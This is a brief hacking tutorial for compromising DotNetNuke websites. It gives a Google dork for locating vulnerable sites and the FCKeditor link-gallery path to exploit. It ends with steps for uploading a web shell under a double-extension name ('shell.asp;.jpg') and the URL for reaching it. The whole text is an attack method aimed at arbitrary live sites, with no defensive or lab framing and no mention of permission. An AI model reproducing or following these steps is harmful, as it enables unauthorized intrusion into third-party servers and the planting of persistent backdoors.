Hack website using DNN (DotNetNuke)

Hack websites using DNN (DotNetNuke)

For that you need to open google

now
enter this google dork
and hit search

inurl:/tabid/36/language/en-US/Default.aspx

Then check the vulnerability on the website.

/Home/tabid/36/Language/en-US/Default.aspx

if website is venrable

then replace code

with

Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

ex.
if you are at www.example.com then add this code Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx after the link.

like
www.example.com/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

Now select file location root

and upload your shell  , rename like shell.asp;.jpg

your  shell will be uploaded.

Now find your shell

http://www.example.com/portal/0/shell.asp;.jpg